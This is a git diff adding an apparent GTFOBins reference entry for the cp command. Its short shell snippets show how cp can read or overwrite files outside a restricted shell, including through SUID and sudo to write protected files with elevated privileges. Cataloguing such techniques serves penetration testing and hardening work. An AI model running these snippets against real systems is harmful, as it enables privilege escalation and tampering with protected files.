diff --git a/_gtfobins/cp.md b/_gtfobins/cp.md new file mode 100644 index 0000000..b2e883f --- /dev/null +++ b/_gtfobins/cp.md @@ -0,0 +1,28 @@ +--- +description: This can be used to read or write files outside a restricted file systems or with elevated privileges. +functions: + file-write: + - code: | + LFILE=file_to_write + TF=$(mktemp) + echo "DATA" > $TF + cp $TF $LFILE + file-read: + - code: | + LFILE=file_to_read + TF=$(mktemp) + cp $LFILE $TF + cat $TF + suid-enabled: + - code: | + LFILE=file_to_write + TF=$(mktemp) + echo "DATA" > $TF + ./cp $TF $LFILE + sudo-enabled: + - code: | + LFILE=file_to_write + TF=$(mktemp) + echo "DATA" > $TF + sudo cp $TF $LFILE +---